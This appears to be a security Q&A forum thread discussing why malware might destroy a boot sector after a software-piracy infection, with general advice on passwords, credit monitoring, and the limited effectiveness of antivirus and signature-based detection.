Some people think that breaking stuff is funny (or, in other words, they do it "for teh lulz"). It's possible there's some other explanations, of course - maybe they have an ethical objection to software piracy and think anybody who attempts it deserves to have their system wrecked, maybe the program attempted (or would have attempted, if given more time?) to exfiltrate your data (for identity theft or similar) rather than just delete it and nuking the boot sector was just an unrelated "make the nastiest malware possible" target, maybe the malware was going to replace your boot sector with one that ave very low-level persistent access to your OS and it was either incompatible with your machine or didn't have time to finish that task... Lots of possibilities.

There are absolutely no lack of malicious programs that combine wanton destruction with attempts to either gain money or send some sort of message (political, social, or simply an "I'm better than you" brag). Obviously for some common types of malware, like botnets including cryptominers, you want the target machine to remain operational; making it unbootable is contrary to that goal. On the other hand, if the goal was data/identity theft, preventing you from getting back online for a while may give the attacker more time to run amok with everything from your Amazon.com account to your social security number (or equivalent). I recommend changing your passwords and watching your credit score (or freezing it) for a while.

As a side note, antivirus is not a safeguard against this kind of thing. Antivirus is a last-ditch attempt to deflect the bullet you've already shot at your own foot, and it's not very reliable about it. If you get to the point where you think "if only I'd had a real-time AV running..." you've already screwed up, massively. Don't expect AV to save you. If the malware is old enough, and insufficiently obfuscated, and not bypassing the scans in some way, it will probably work, but it's like setting up a camera that does facial recognition of everybody approaching the house and checks against a police database. There's so many ways to avoid it...

Also, all versions of Windows released in the last ~10 years (so, the only ones still supported and receiving security patches) have built-in AV (with real-time scanning). If you don't want to use those, there are a number of free third-party options too...


Are signature based antivirus or antimalware effective? Are signature based antivirus or antimalware solutions effective? Has the battle been lost against the ever increasing amount of malware, particularly rootkits, that are in the wild?

A signature-based detection system can't be the only solution, but it can be part of the solution. Indeed you'll find that a lot of the AV products that have behavioural detection and heuristic detection also still employ signature-based detection. It's simple, it's fast, the chances for false positives are very low. But the chances for false negatives are high, and you certainly fail against novel attacks.